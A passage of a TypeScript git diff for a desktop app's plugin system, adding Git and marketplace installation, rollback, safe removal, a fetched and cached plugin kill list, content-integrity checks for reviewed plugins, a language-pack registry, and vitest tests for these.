+  blockedPluginReason?: (pluginKey: string) => string | null
+}): Promise<PluginInstallResult> {
+  return serializePluginMutation(input.pluginsDir, () =>
+    installStagedPluginTree({
+      pluginsDir: input.pluginsDir,
+      stagingDir: input.sourcePath,
+      hostVersion: input.hostVersion,
+      source: { kind: 'bundled', bundleId: input.expectedPluginKey },
+      resolvedCommit: null,
+      expectedPluginKey: input.expectedPluginKey,
+      repairCorruptedVersion: true,
+      blockedPluginReason: input.blockedPluginReason
+    })
+  )
+}
+
+export async function installPluginFromGit(input: {
+  pluginsDir: string
+  url: string
+  /** `#ref` suffix: branch, tag, or full commit SHA. Empty = default branch. */
+  ref: string
+  hostVersion: string
+  blockedPluginReason?: (pluginKey: string) => string | null
+}): Promise<PluginInstallResult> {
+  if (!isAllowedPluginGitUrl(input.url)) {
+    return { ok: false, error: 'plugin Git URL must use HTTPS or SSH' }
+  }
+  return serializePluginMutation(input.pluginsDir, async () => {
+    const stagingDir = await mkdtemp(join(tmpdir(), 'orca-plugin-install-'))
+    try {
+      const ref = input.ref.trim()
+      const resolvedCommit = await checkoutPluginGitSource({
+        url: input.url,
+        ref,
+        destination: stagingDir,
+        workingDirectory: tmpdir()
+      })
+      return await installStagedPluginTree({
+        pluginsDir: input.pluginsDir,
+        stagingDir,
+        hostVersion: input.hostVersion,
+        source: { kind: 'git', url: input.url, ref },
+        resolvedCommit,
+        blockedPluginReason: input.blockedPluginReason
+      })
+    } catch (error) {
+      return { ok: false, error: error instanceof Error ? error.message : String(error) }
+    } finally {
+      await rm(stagingDir, { recursive: true, force: true })
+    }
+  })
+}
+
+export async function installPluginFromMarketplace(input: {
+  pluginsDir: string
+  hostVersion: string
+  expectedPluginKey: string
+  expectedResolvedCommit: string
+  marketplace: { url: string; ref: string; resolvedCommit: string }
+  plugin: { url: string; ref: string }
+  blockedPluginReason?: (pluginKey: string) => string | null
+}): Promise<PluginInstallResult> {
+  const source = pluginInstallSourceSchema.parse({
+    kind: 'marketplace',
+    marketplace: input.marketplace,
+    plugin: input.plugin
+  })
+  if (!isQualifiedPluginKey(input.expectedPluginKey)) {
+    return { ok: false, error: 'invalid marketplace plugin identity' }
+  }
+  if (!PLUGIN_COMMIT_PATTERN.test(input.expectedResolvedCommit)) {
+    return { ok: false, error: 'invalid previewed plugin commit' }
+  }
+  return serializePluginMutation(input.pluginsDir, async () => {
+    const stagingDir = await mkdtemp(join(tmpdir(), 'orca-plugin-marketplace-install-'))
+    try {
+      const resolvedCommit = await checkoutPluginGitSource({
+        url: input.plugin.url,
+        ref: input.plugin.ref,
+        destination: stagingDir,
+        workingDirectory: tmpdir()
+      })
+      if (resolvedCommit !== input.expectedResolvedCommit) {
+        return { ok: false, error: 'plugin source changed after preview; review the update again' }
+      }
+      return await installStagedPluginTree({
+        pluginsDir: input.pluginsDir,
+        stagingDir,
+        hostVersion: input.hostVersion,
+        source,
+        resolvedCommit,
+        expectedPluginKey: input.expectedPluginKey,
+        blockedPluginReason: input.blockedPluginReason
+      })
+    } catch (error) {
+      return { ok: false, error: error instanceof Error ? error.message : String(error) }
+    } finally {
+      await rm(stagingDir, { recursive: true, force: true })
+    }
+  })
+}
+
+/** Restores the single retained immutable predecessor. The old consent
+ * fingerprint becomes current again, so enablement still fails closed until
+ * the user has approved those exact bytes. */
+export async function rollbackInstalledPlugin(input: {
+  pluginsDir: string
+  pluginKey: string
+  hostVersion: string
+  blockedPluginReason?: (pluginKey: string) => string | null
+}): Promise<PluginInstallResult> {
+  if (!isQualifiedPluginKey(input.pluginKey)) {
+    return { ok: false, error: 'invalid qualified plugin key' }
+  }
+  const blockedReason = input.blockedPluginReason?.(input.pluginKey)
+  if (blockedReason) {
+    return { ok: false, error: `plugin is blocked by Orca's safety list: ${blockedReason}` }
+  }
+  return serializePluginMutation(input.pluginsDir, async () => {
+    const pluginDir = join(input.pluginsDir, input.pluginKey)
+    const currentContentHash = await readPluginCurrentPointer(pluginDir).catch(() => null)
+    if (!currentContentHash) {
+      return { ok: false, error: 'installed plugin has no current version' }
+    }
+    const candidates = (await readdir(pluginDir, { withFileTypes: true }).catch(() => []))
+      .filter(
+        (entry) =>
+          entry.isDirectory() &&
+          PLUGIN_CONTENT_HASH_PATTERN.test(entry.name) &&
+          entry.name !== currentContentHash
+      )
+      .map((entry) => entry.name)
+    if (candidates.length !== 1) {
+      return {
+        ok: false,
+        error:
+          candidates.length === 0
+            ? 'no rollback version is available'
+            : 'rollback state is ambiguous'
+      }
+    }
+    const contentHash = candidates[0]!
+    const provenance = await readPluginInstallProvenance(pluginDir, contentHash)
+    if (
+      !provenance ||
+      provenance.pluginKey !== input.pluginKey ||
+      provenance.contentHash !== contentHash
+    ) {
+      return { ok: false, error: 'rollback version has no valid install provenance' }
+    }
+    const inspection = await inspectPluginInstallTree({
+      rootDir: join(pluginDir, contentHash),
+      hostVersion: input.hostVersion,
+      expectedPluginKey: input.pluginKey
+    })
+    if (!inspection.ok || inspection.contentHash !== contentHash) {
+      return {
+        ok: false,
+        error: inspection.ok ? 'rollback version failed integrity verification' : inspection.error
+      }
+    }
+    try {
+      await publishPluginInstall({ pluginsDir: input.pluginsDir, pluginDir, entry: provenance })
+    } catch (error) {
+      return { ok: false, error: error instanceof Error ? error.message : String(error) }
+    }
+    return {
+      ok: true,
+      pluginKey: input.pluginKey,
+      version: inspection.manifest.version,
+      contentHash,
+      consentFingerprint: provenance.consentFingerprint,
+      resolvedCommit: provenance.resolvedCommit
+    }
+  })
+}
+
+/** Removes the install dir, the plugin's data dir, and the lock entry. */
+export async function removeInstalledPlugin(input: {
+  pluginsDir: string
+  pluginsDataDir: string
+  pluginKey: string
+}): Promise<void> {
+  await serializePluginMutation(input.pluginsDir, async () => {
+    if (!isQualifiedPluginKey(input.pluginKey)) {
+      throw new Error(`invalid qualified plugin key: ${input.pluginKey}`)
+    }
+    await removeResolvedPluginDirectory(input.pluginsDir, input.pluginKey)
+    await removeResolvedPluginDirectory(input.pluginsDataDir, input.pluginKey)
+    await writePluginLockfile(
+      input.pluginsDir,
+      removePluginLock(await readPluginLockfile(input.pluginsDir), input.pluginKey)
+    )
+  })
+}
+
+async function removeResolvedPluginDirectory(rootDir: string, pluginKey: string): Promise<void> {
+  let rootReal: string
+  let targetReal: string
+  try {
+    rootReal = await realpath(resolve(rootDir))
+  } catch (error) {
+    if ((error as NodeJS.ErrnoException).code === 'ENOENT') {
+      return
+    }
+    throw error
+  }
+  try {
+    targetReal = await realpath(resolve(rootDir, pluginKey))
+  } catch (error) {
+    if ((error as NodeJS.ErrnoException).code === 'ENOENT') {
+      return
+    }
+    throw error
+  }
+  const fromRoot = relative(rootReal, targetReal)
+  if (
+    fromRoot.length === 0 ||
+    isAbsolute(fromRoot) ||
+    fromRoot === '..' ||
+    fromRoot.startsWith(`..${sep}`)
+  ) {
+    throw new Error(`refusing to remove plugin path outside ${rootReal}`)
+  }
+  await rm(resolve(rootDir, pluginKey), { recursive: true, force: true })
+}
diff --git a/src/main/plugins/plugin-instructional-content-integrity.ts b/src/main/plugins/plugin-instructional-content-integrity.ts
new file mode 100644
index 000000000..fe2c9a3dc
--- /dev/null
+++ b/src/main/plugins/plugin-instructional-content-integrity.ts
@@ -0,0 +1,30 @@
+import { hasInstructionalPluginContributions } from '../../shared/plugins/plugin-consent-fingerprint'
+import { hashPluginTree } from './plugin-content-hash'
+import type { ValidDiscoveredPlugin } from './plugin-discovery'
+
+/** Instructional bytes execute later, so every read must still match the tree
+ * identity the user reviewed rather than a cached discovery-time snapshot. */
+export async function verifyInstructionalPluginContent(
+  plugin: ValidDiscoveredPlugin
+): Promise<void> {
+  if (!hasInstructionalPluginContributions(plugin.manifest)) {
+    return
+  }
+  if (!plugin.consentContentHash) {
+    throw new Error(`plugin ${plugin.pluginKey} has no instructional consent content identity`)
+  }
+  const actual = await hashPluginTree(plugin.rootDir)
+  if (!actual.ok) {
+    throw new Error(
+      `plugin ${plugin.pluginKey} instructional content is unreadable: ${actual.error}`
+    )
+  }
+  const matches =
+    actual.hash === plugin.consentContentHash ||
+    (plugin.consentContentHash.length === 32 && actual.hash.startsWith(plugin.consentContentHash))
+  if (!matches) {
+    throw new Error(
+      `plugin ${plugin.pluginKey} instructional content changed since it was reviewed`
+    )
+  }
+}
diff --git a/src/main/plugins/plugin-kill-list-service.test.ts b/src/main/plugins/plugin-kill-list-service.test.ts
new file mode 100644
index 000000000..3da97e085
--- /dev/null
+++ b/src/main/plugins/plugin-kill-list-service.test.ts
@@ -0,0 +1,111 @@
+import { mkdtemp, rm } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import type { PluginKillList } from '../../shared/plugins/plugin-kill-list'
+import { fetchPluginKillList, PluginKillListService } from './plugin-kill-list-service'
+import type { PluginKillListStore } from './plugin-kill-list-store'
+
+const roots: string[] = []
+
+async function tempRoot(): Promise<string> {
+  const root = await mkdtemp(join(tmpdir(), 'orca-plugin-kill-list-'))
+  roots.push(root)
+  return root
+}
+
+function killList(date = '2026-07-12T20:00:00Z'): PluginKillList {
+  return {
+    version: 1,
+    generatedAt: date,
+    plugins: [{ pluginKey: 'community.unsafe', reason: 'Malware advisory' }]
+  }
+}
+
+afterEach(async () => {
+  await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
+})
+
+describe('PluginKillListService', () => {
+  it('loads cached revocations before any network refresh', async () => {
+    const root = await tempRoot()
+    const first = new PluginKillListService({
+      pluginsDataDir: root,
+      fetcher: async () => killList()
+    })
+    await first.refresh()
+    const fetcher = vi.fn(async () => killList())
+    const restarted = new PluginKillListService({ pluginsDataDir: root, fetcher })
+
+    await restarted.initialize()
+
+    expect(restarted.reason('community.unsafe')).toBe('Malware advisory')
+    expect(fetcher).not.toHaveBeenCalled()
+  })
+
+  it('publishes valid refreshes and notifies runtime reconciliation', async () => {
+    const service = new PluginKillListService({
+      pluginsDataDir: await tempRoot(),
+      fetcher: async () => killList()
+    })
+    const changed = vi.fn()
+    service.onChanged(changed)
+
+    await service.refresh()
+
+    expect(service.find('community.unsafe')).toMatchObject({ reason: 'Malware advisory' })
+    expect(changed).toHaveBeenCalledTimes(1)
+  })
+
+  it('starts with no revocations after a corrupt cache and accepts a valid refresh', async () => {
+    const store = {
+      read: vi.fn().mockRejectedValue(new Error('invalid JSON')),
+      write: vi.fn().mockResolvedValue(undefined)
+    } as unknown as PluginKillListStore
+    const warning = vi.spyOn(console, 'warn').mockImplementation(() => undefined)
+    const service = new PluginKillListService({
+      pluginsDataDir: await tempRoot(),
+      store,
+      fetcher: async () => killList()
+    })
+
+    await expect(service.initialize()).resolves.toBeUndefined()
+    expect(service.snapshot()).toBeNull()
+    await expect(service.refresh()).resolves.toEqual(killList())
+    expect(service.reason('community.unsafe')).toBe('Malware advisory')
+    expect(warning).toHaveBeenCalledWith(
+      '[plugins] ignoring invalid cached plugin safety list:',
+      expect.any(Error)
+    )
+  })
+
+  it('rejects a replayed older snapshot without replacing cached revocations', async () => {
+    const fetcher = vi
+      .fn<() => Promise<PluginKillList>>()
+      .mockResolvedValueOnce(killList('2026-07-12T20:00:00Z'))
+      .mockResolvedValueOnce(killList('2026-07-11T20:00:00Z'))
+    const service = new PluginKillListService({ pluginsDataDir: await tempRoot(), fetcher })
+    await service.refresh()
+
+    await expect(service.refresh()).rejects.toThrow('older snapshot')
+    expect(service.snapshot()?.generatedAt).toBe('2026-07-12T20:00:00Z')
+  })
+})
+
+describe('fetchPluginKillList', () => {
+  it('validates a bounded HTTPS response body', async () => {
+    const fetcher = vi.fn<typeof fetch>().mockResolvedValue(
+      new Response(JSON.stringify(killList()), {
+        status: 200,
+        headers: { 'content-type': 'application/json' }
+      })
+    )
+
+    await expect(fetchPluginKillList(fetcher)).resolves.toEqual(killList())
+  })
+
+  it('rejects non-success responses', async () => {
+    const fetcher = vi.fn<typeof fetch>().mockResolvedValue(new Response('no', { status: 503 }))
+    await expect(fetchPluginKillList(fetcher)).rejects.toThrow('HTTP 503')
+  })
+})
diff --git a/src/main/plugins/plugin-kill-list-service.ts b/src/main/plugins/plugin-kill-list-service.ts
new file mode 100644
index 000000000..572e7074b
--- /dev/null
+++ b/src/main/plugins/plugin-kill-list-service.ts
@@ -0,0 +1,140 @@
+import {
+  findKilledPlugin,
+  pluginKillListSchema,
+  type PluginKillList,
+  type PluginKillListEntry
+} from '../../shared/plugins/plugin-kill-list'
+import { PluginKillListStore } from './plugin-kill-list-store'
+
+export const PLUGIN_KILL_LIST_URL = 'https://onorca.dev/plugins/kill-list.json'
+const PLUGIN_KILL_LIST_DOWNLOAD_LIMIT = 4 * 1024 * 1024
+
+type PluginKillListFetcher = () => Promise<PluginKillList>
+
+export class PluginKillListService {
+  private readonly store: PluginKillListStore
+  private readonly fetcher: PluginKillListFetcher
+  private readonly listeners = new Set<() => void>()
+  private currentList: PluginKillList | null = null
+  private loadPromise: Promise<void> | null = null
+  private refreshChain: Promise<PluginKillList> = Promise.resolve({
+    version: 1,
+    generatedAt: '1970-01-01T00:00:00Z',
+    plugins: []
+  })
+
+  constructor(options: {
+    pluginsDataDir: string
+    store?: PluginKillListStore
+    fetcher?: PluginKillListFetcher
+  }) {
+    this.store = options.store ?? new PluginKillListStore(options.pluginsDataDir)
+    this.fetcher = options.fetcher ?? (() => fetchPluginKillList())
+  }
+
+  async initialize(): Promise<void> {
+    this.loadPromise ??= this.store
+      .read()
+      .then((killList) => {
+        this.currentList = killList
+      })
+      .catch((error) => {
+        // Why: an unusable cache must not prevent Orca from starting; a valid
+        // network refresh can still restore runtime revocations this session.
+        console.warn('[plugins] ignoring invalid cached plugin safety list:', error)
+        this.currentList = null
+      })
+    await this.loadPromise
+  }
+
+  onChanged(listener: () => void): () => void {
+    this.listeners.add(listener)
+    return () => this.listeners.delete(listener)
+  }
+
+  find(pluginKey: string): PluginKillListEntry | null {
+    return this.currentList ? findKilledPlugin(this.currentList, pluginKey) : null
+  }
+
+  reason(pluginKey: string): string | null {
+    return this.find(pluginKey)?.reason ?? null
+  }
+
+  snapshot(): PluginKillList | null {
+    return this.currentList
+  }
+
+  refresh(): Promise<PluginKillList> {
+    const refresh = this.refreshChain
+      .catch(() => this.currentList ?? emptyKillList())
+      .then(() => this.performRefresh())
+    this.refreshChain = refresh
+    return refresh
+  }
+
+  private async performRefresh(): Promise<PluginKillList> {
+    await this.initialize()
+    const fetched = pluginKillListSchema.parse(await this.fetcher())
+    if (
+      this.currentList &&
+      Date.parse(fetched.generatedAt) < Date.parse(this.currentList.generatedAt)
+    ) {
+      throw new Error('refusing to replace the plugin kill list with an older snapshot')
+    }
+    await this.store.write(fetched)
+    this.currentList = fetched
+    for (const listener of this.listeners) {
+      listener()
+    }
+    return fetched
+  }
+}
+
+export async function fetchPluginKillList(
+  fetcher: typeof fetch = fetch,
+  url = PLUGIN_KILL_LIST_URL
+): Promise<PluginKillList> {
+  const response = await fetcher(url, { cache: 'no-store' })
+  if (!response.ok) {
+    throw new Error(`plugin kill-list request failed with HTTP ${response.status}`)
+  }
+  const declaredBytes = Number(response.headers.get('content-length') ?? '0')
+  if (Number.isFinite(declaredBytes) && declaredBytes > PLUGIN_KILL_LIST_DOWNLOAD_LIMIT) {
+    throw new Error('plugin kill-list response exceeds its size limit')
+  }
+  if (!response.body) {
+    throw new Error('plugin kill-list response has no body')
+  }
+  const reader = response.body.getReader()
+  const chunks: Uint8Array[] = []
+  let totalBytes = 0
+  while (true) {
+    const chunk = await reader.read()
+    if (chunk.done) {
+      break
+    }
+    totalBytes += chunk.value.byteLength
+    if (totalBytes > PLUGIN_KILL_LIST_DOWNLOAD_LIMIT) {
+      await reader.cancel()
+      throw new Error('plugin kill-list response exceeds its size limit')
+    }
+    chunks.push(chunk.value)
+  }
+  const bytes = new Uint8Array(totalBytes)
+  let offset = 0
+  for (const chunk of chunks) {
+    bytes.set(chunk, offset)
+    offset += chunk.byteLength
+  }
+  try {
+    return pluginKillListSchema.parse(JSON.parse(new TextDecoder().decode(bytes)))
+  } catch (error) {
+    throw new Error(
+      `invalid plugin kill-list response: ${error instanceof Error ? error.message : String(error)}`
+    )
+  }
+}
+
+function emptyKillList(): PluginKillList {
+  return { version: 1, generatedAt: '1970-01-01T00:00:00Z', plugins: [] }
+}
diff --git a/src/main/plugins/plugin-kill-list-store.ts b/src/main/plugins/plugin-kill-list-store.ts
new file mode 100644
index 000000000..5dca14190
--- /dev/null
+++ b/src/main/plugins/plugin-kill-list-store.ts
@@ -0,0 +1,46 @@
+import { createReadStream } from 'node:fs'
+import { mkdir } from 'node:fs/promises'
+import { dirname, join } from 'node:path'
+import { pluginKillListSchema, type PluginKillList } from '../../shared/plugins/plugin-kill-list'
+import { writePluginFileAtomically } from './plugin-atomic-file-write'
+
+const PLUGIN_KILL_LIST_MAX_BYTES = 4 * 1024 * 1024
+
+export class PluginKillListStore {
+  private readonly filePath: string
+
+  constructor(pluginsDataDir: string) {
+    this.filePath = join(pluginsDataDir, 'plugin-kill-list.json')
+  }
+
+  async read(): Promise<PluginKillList | null> {
+    try {
+      const chunks: Buffer[] = []
+      let totalBytes = 0
+      for await (const chunk of createReadStream(this.filePath)) {
+        const bytes = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk)
+        totalBytes += bytes.byteLength
+        if (totalBytes > PLUGIN_KILL_LIST_MAX_BYTES) {
+          throw new Error('plugin kill list exceeds its size limit')
+        }
+        chunks.push(bytes)
+      }
+      return pluginKillListSchema.parse(
+        JSON.parse(Buffer.concat(chunks, totalBytes).toString('utf8'))
+      )
+    } catch (error) {
+      if ((error as NodeJS.ErrnoException).code === 'ENOENT') {
+        return null
+      }
+      throw new Error(
+        `cached plugin kill list is invalid: ${error instanceof Error ? error.message : String(error)}`
+      )
+    }
+  }
+
+  async write(killList: PluginKillList): Promise<void> {
+    const parsed = pluginKillListSchema.parse(killList)
+    await mkdir(dirname(this.filePath), { recursive: true })
+    await writePluginFileAtomically(this.filePath, `${JSON.stringify(parsed, null, 2)}\n`)
+  }
+}
diff --git a/src/main/plugins/plugin-language-pack-registry.test.ts b/src/main/plugins/plugin-language-pack-registry.test.ts
new file mode 100644
index 000000000..94fd93e45
--- /dev/null
+++ b/src/main/plugins/plugin-language-pack-registry.test.ts
@@ -0,0 +1,78 @@
+import { mkdtemp, mkdir, rm, writeFile } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, describe, expect, it } from 'vitest'
+import { fingerprintPluginConsent } from '../../shared/plugins/plugin-consent-fingerprint'
+import { pluginManifestSchema } from '../../shared/plugins/plugin-manifest'
+import { PluginContentVerifier } from './plugin-content-integrity'
+import type { ValidDiscoveredPlugin } from './plugin-discovery'
+import { PluginLanguagePackRegistry } from './plugin-language-pack-registry'
+
+const roots: string[] = []
+
+async function pluginWithCatalog(catalog: unknown): Promise<ValidDiscoveredPlugin> {
+  const rootDir = await mkdtemp(join(tmpdir(), 'orca-plugin-language-registry-'))
+  roots.push(rootDir)
+  await mkdir(join(rootDir, 'locales'))
+  await writeFile(join(rootDir, 'locales', 'pt-BR.json'), JSON.stringify(catalog))
+  const manifest = pluginManifestSchema.parse({
+    manifestVersion: 1,
+    id: 'portuguese',
+    publisher: 'orca-samples',
+    name: 'Portuguese',
+    version: '1.0.0',
+    engines: { orca: '>=1.0.0' },
+    pluginApi: 1,
+    contributes: {
+      languagePacks: [{ locale: 'pt-BR', path: 'locales/pt-BR.json' }]
+    },
+    capabilities: []
+  })
+  return {
+    pluginKey: 'orca-samples.portuguese',
+    rootDir,
+    manifest,
+    consentFingerprint: fingerprintPluginConsent(manifest),
+    contentHash: null,
+    isDev: true
+  }
+}
+
+afterEach(async () => {
+  await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
+})
+
+describe('PluginLanguagePackRegistry', () => {
+  it('loads approved catalogs under an isolated plugin language id', async () => {
+    const plugin = await pluginWithCatalog({ common: { save: 'Salvar' } })
+    const registry = new PluginLanguagePackRegistry(new PluginContentVerifier())
+
+    await registry.reconcile([plugin], () => true)
+
+    expect(registry.list()).toEqual([
+      {
+        id: 'plugin:orca-samples.portuguese/pt-BR',
+        resourceLanguage:
+          'plugin0070006c007500670069006e003a006f007200630061002d00730061006d0070006c00650073002e0070006f00720074007500670075006500730065002f00700074002d00420052',
+        pluginKey: 'orca-samples.portuguese',
+        locale: 'pt-BR',
+        catalog: { common: { save: 'Salvar' } }
+      }
+    ])
+    expect(registry.error(plugin.pluginKey)).toBeNull()
+  })
+
+  it('fails closed for protected security copy and clears state when disabled', async () => {
+    const plugin = await pluginWithCatalog({
+      auto: { components: { settings: { PluginConsentDialog: { disclaimer: 'Safe' } } } }
+    })
+    const registry = new PluginLanguagePackRegistry(new PluginContentVerifier())
+
+    await registry.reconcile([plugin], () => true)
+    expect(registry.list()).toEqual([])
+    expect(registry.error(plugin.pluginKey)).toContain('protected security copy')
+
+    await registry.reconcile([plugin], () => false)
+    expect(registry.error(plugin.pluginKey)).toBeNull()
+  })
+})
diff --git a/src/main/plugins/plugin-language-pack-registry.ts b/src/main/plugins/plugin-language-pack-registry.ts
new file mode 100644
index 000000000..df4092647
--- /dev/null
+++ b/src/main/plugins/plugin-language-pack-registry.ts
@@ -0,0 +1,96 @@
+import {
+  parsePluginLanguagePackArtifact,
+  pluginLanguageResourceId,
+  type PluginLanguagePackRegistration
+} from '../../shared/plugins/plugin-language-pack-artifact'
+import {
+  PLUGIN_LANGUAGE_PACK_MAX_BYTES,
+  readContainedPluginArtifactText
+} from './plugin-artifact-validation'
+import type { PluginContentVerifier } from './plugin-content-integrity'
+import { mapWithConcurrency } from '../../shared/map-with-concurrency'
+import {
+  isInvalidDiscoveredPlugin,
+  type DiscoveredPlugin,
+  type ValidDiscoveredPlugin
+} from './plugin-discovery'
+
+const LANGUAGE_PACK_LOAD_CONCURRENCY = 4
+
+type LanguageLoadResult =
+  | { pluginKey: string; packs: PluginLanguagePackRegistration[] }
+  | { pluginKey: string; error: string }
+
+export class PluginLanguagePackRegistry {
+  private packs: PluginLanguagePackRegistration[] = []
+  private readonly errors = new Map<string, string>()
+
+  constructor(private readonly contentVerifier: PluginContentVerifier) {}
+
+  list(): readonly PluginLanguagePackRegistration[] {
+    return this.packs
+  }
+
+  error(pluginKey: string): string | null {
+    return this.errors.get(pluginKey) ?? null
+  }
+
+  async reconcile(
+    discovered: readonly DiscoveredPlugin[],
+    isApproved: (plugin: ValidDiscoveredPlugin) => boolean
+  ): Promise<void> {
+    const candidates: ValidDiscoveredPlugin[] = []
+    for (const plugin of discovered) {
+      if (
+        !isInvalidDiscoveredPlugin(plugin) &&
+        isApproved(plugin) &&
+        plugin.manifest.contributes.languagePacks.length > 0
+      ) {
+        candidates.push(plugin)
+      }
+    }
+    const results = await mapWithConcurrency(
+      candidates,
+      LANGUAGE_PACK_LOAD_CONCURRENCY,
+      async (plugin): Promise<LanguageLoadResult> => {
+        try {
+          await this.contentVerifier.verify(plugin)
+          const packs = await Promise.all(
+            plugin.manifest.contributes.languagePacks.map(async (contribution) => {
+              const text = await readContainedPluginArtifactText(
+                plugin.rootDir,
+                contribution.path,
+                PLUGIN_LANGUAGE_PACK_MAX_BYTES
+              )
+              const parsed = parsePluginLanguagePackArtifact(text)
+              if (!parsed.ok) {
+                throw new Error(`language pack "${contribution.locale}" ${parsed.error}`)
+              }
+              const id = `plugin:${plugin.pluginKey}/${contribution.locale}` as const
+              return {
+                id,
+                resourceLanguage: pluginLanguageResourceId(id),
+                pluginKey: plugin.pluginKey,
+                locale: contribution.locale,
+                catalog: parsed.catalog
+              }
+            })
+          )
+          return { pluginKey: plugin.pluginKey, packs }
+        } catch (error) {
+          return {
+            pluginKey: plugin.pluginKey,
+            error: error instanceof Error ? error.message : String(error)
+          }
+        }
+      }
+    )
+    this.packs = results.flatMap((result) => ('packs' in result ? result.packs : []))
+    this.errors.clear()
+    for (const result of results) {
+      if ('error' in result) {
+        this.errors.set(result.pluginKey, result.error)
+      }
+    }
+  }
+}
diff --git a/src/main/plugins/plugin-launch-content.test.ts b/src/main/plugins/plugin-launch-content.test.ts
new file mode 100644
index 000000000..692a98755
--- /dev/null
+++ b/src/main/plugins/plugin-launch-content.test.ts
@@ -0,0 +1,113 @@
+import { cp, mkdtemp, readFile, readdir, rm } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, describe, expect, it } from 'vitest'
+import {
+  isOfficialOrganizationGitSource,
+  isOfficialPluginIdentity,
+  pluginMarketplaceSchema
+} from '../../shared/plugins/plugin-marketplace'
+import { bootstrapBundledPlugins, resolveBundledPluginRoot } from './plugin-bundled-bootstrap'
+import { inspectPluginInstallTree } from './plugin-install-staging'
+
+const launchRoot = join(process.cwd(), 'resources', 'plugins', 'launch')
+const temporaryRoots: string[] = []
+
+async function readJson(path: string): Promise<unknown> {
+  return JSON.parse(await readFile(path, 'utf8'))
+}
+
+afterEach(async () => {
+  await Promise.all(
+    temporaryRoots.splice(0).map((root) => rm(root, { recursive: true, force: true }))
+  )
+})
+
+describe('Phase 1 launch plugin content', () => {
+  it('lists and validates the launch plugin packs', async () => {
+    const marketplace = pluginMarketplaceSchema.parse(
+      await readJson(join(launchRoot, 'orca-marketplace.json'))
+    )
+    expect(marketplace.plugins.map((plugin) => plugin.id).sort()).toEqual([
+      'stablyai.orca-multipass-recipes',
+      'stablyai.orca-navigation-shortcuts',
+      'stablyai.orca-portuguese'
+    ])
+    expect(
+      marketplace.plugins.filter(
+        (plugin) =>
+          isOfficialPluginIdentity(plugin.id) && isOfficialOrganizationGitSource(plugin.source.url)
+      ).length
+    ).toBeGreaterThanOrEqual(2)
+
+    const localPluginDirectories = (await readdir(launchRoot, { withFileTypes: true }))
+      .filter((entry) => entry.isDirectory())
+      .map((entry) => entry.name)
+      .sort()
+    expect(marketplace.plugins.map((plugin) => plugin.id).sort()).toEqual(localPluginDirectories)
+
+    const contributionKinds = new Set<string>()
+    for (const listing of marketplace.plugins) {
+      const inspection = await inspectPluginInstallTree({
+        rootDir: join(launchRoot, listing.id),
+        hostVersion: '1.4.0',
+        expectedPluginKey: listing.id
+      })
+      expect(inspection, `${listing.id} must pass the production install inspection`).toMatchObject(
+        {
+          ok: true
+        }
+      )
+      if (!inspection.ok) {
+        continue
+      }
+      const contributes = inspection.manifest.contributes
+      if (contributes.languagePacks.length > 0) {
+        contributionKinds.add('language')
+      }
+      if (contributes.vmRecipes.length > 0) {
+        contributionKinds.add('vm-recipe')
+      }
+      if (contributes.commands.length > 0 && contributes.keybindings.length > 0) {
+        contributionKinds.add('command-keybinding')
+      }
+    }
+    expect(contributionKinds).toEqual(new Set(['language', 'vm-recipe', 'command-keybinding']))
+  })
+
+  it('publishes every bundled pack only when its release hash matches exact bytes', async () => {
+    const userDataPath = await mkdtemp(join(tmpdir(), 'orca-launch-content-'))
+    temporaryRoots.push(userDataPath)
+
+    const result = await bootstrapBundledPlugins({
+      root: launchRoot,
+      userDataPath,
+      hostVersion: '1.4.0'
+    })
+
+    expect(result.errors).toEqual([])
+    expect(result.installed.length).toBeGreaterThanOrEqual(1)
+    expect(result.installed.every(isOfficialPluginIdentity)).toBe(true)
+  })
+
+  it('boots release-indexed content from the packaged resources layout', async () => {
+    const resourcesPath = await mkdtemp(join(tmpdir(), 'orca-packaged-resources-'))
+    const userDataPath = await mkdtemp(join(tmpdir(), 'orca-packaged-user-data-'))
+    temporaryRoots.push(resourcesPath, userDataPath)
+    const packagedRoot = join(resourcesPath, 'plugins', 'launch')
+    await cp(launchRoot, packagedRoot, { recursive: true })
+
+    const result = await bootstrapBundledPlugins({
+      root: resolveBundledPluginRoot({
+        isPackaged: true,
+        resourcesPath,
+        appPath: join(resourcesPath, 'app.asar')
+      }),
+      userDataPath,
+      hostVersion: '1.4.0'
+    })
+
+    expect(result.errors).toEqual([])
+    expect(result.installed).toEqual(['stablyai.orca-navigation-shortcuts'])
+  })
+})
diff --git a/src/main/plugins/plugin-list-projection.test.ts b/src/main/plugins/plugin-list-projection.test.ts
new file mode 100644
index 000000000..36904cfa2
--- /dev/null
+++ b/src/main/plugins/plugin-list-projection.test.ts
@@ -0,0 +1,224 @@
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { describe, expect, it } from 'vitest'
+import { emptyPluginLockfile } from '../../shared/plugins/plugin-install-lockfile'
+import { pluginManifestSchema } from '../../shared/plugins/plugin-manifest'
+import type { InvalidDiscoveredPlugin, ValidDiscoveredPlugin } from './plugin-discovery'
+import { buildPluginList } from './plugin-list-projection'
+import type { PluginService } from './plugin-service'
+
+const manifest = pluginManifestSchema.parse({
+  manifestVersion: 1,
+  id: 'demo',
+  publisher: 'orca-samples',
+  name: 'Demo',
+  version: '1.0.0',
+  engines: { orca: '>=1.0.0' },
+  pluginApi: 1,
+  contributes: { panels: [], commands: [], events: [] },
+  capabilities: [{ kind: 'workspace:read' }]
+})
+
+function serviceWith(
+  discovered: ValidDiscoveredPlugin,
+  options: {
+    activation?: ReturnType<PluginService['activationState']>
+    worker?: ReturnType<PluginService['workerState']>
+    vmRecipes?: ReturnType<PluginService['contentPacks']['vmRecipes']['preview']>
+    commands?: ReturnType<PluginService['contentPacks']['commands']['preview']>
+  } = {}
+): PluginService {
+  return {
+    options: {
+      getPluginConsents: () => ({}),
+      getDisabledPlugins: () => []
+    },
+    getDiscovered: () => [discovered],
+    activationState: () => options.activation ?? 'pending',
+    workerState: () => options.worker ?? { state: 'inactive', restarts: 0 },
+    activationError: () => null,
+    contentPacks: {
+      vmRecipes: { preview: () => options.vmRecipes ?? [] },
+      commands: { preview: () => options.commands ?? [] }
+    }
